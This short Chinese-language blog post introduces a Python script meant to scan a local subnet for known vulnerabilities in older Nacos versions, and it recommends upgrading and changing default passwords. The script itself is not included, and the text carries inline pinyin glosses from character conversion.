基于python的漏洞掃描器

官方確認(rèn)，低版本的nacos服務(wù)管理平臺(tái)存在多個(gè)安全漏洞。這些漏洞可能導(dǎo)致配置文件中的敏感信息泄漏或系統(tǒng)被入侵的風(fēng)險(xiǎn)。

今天浩道跟大家分享一個(gè)python腳本，主要用于自動(dòng)檢測(cè)某網(wǎng)段內(nèi)主機(jī)上可能存在的nacos漏洞，可以方便大家對(duì)某網(wǎng)段內(nèi)多臺(tái)主機(jī)進(jìn)行檢測(cè)，一起看看吧！

如存在漏洞，建議及時(shí)升級(jí)nacos服務(wù)管理平臺(tái)的版本，并修改默認(rèn)密碼，刪除多余管理賬號(hào)。

nacos.py腳本信息如下，大家可以根據(jù)自己實(shí)際網(wǎng)段修改對(duì)應(yīng)代碼即可。該腳本實(shí)現(xiàn)掃描的是192.168.100.0網(wǎng)段內(nèi)主機(jī)上的nacos漏洞。
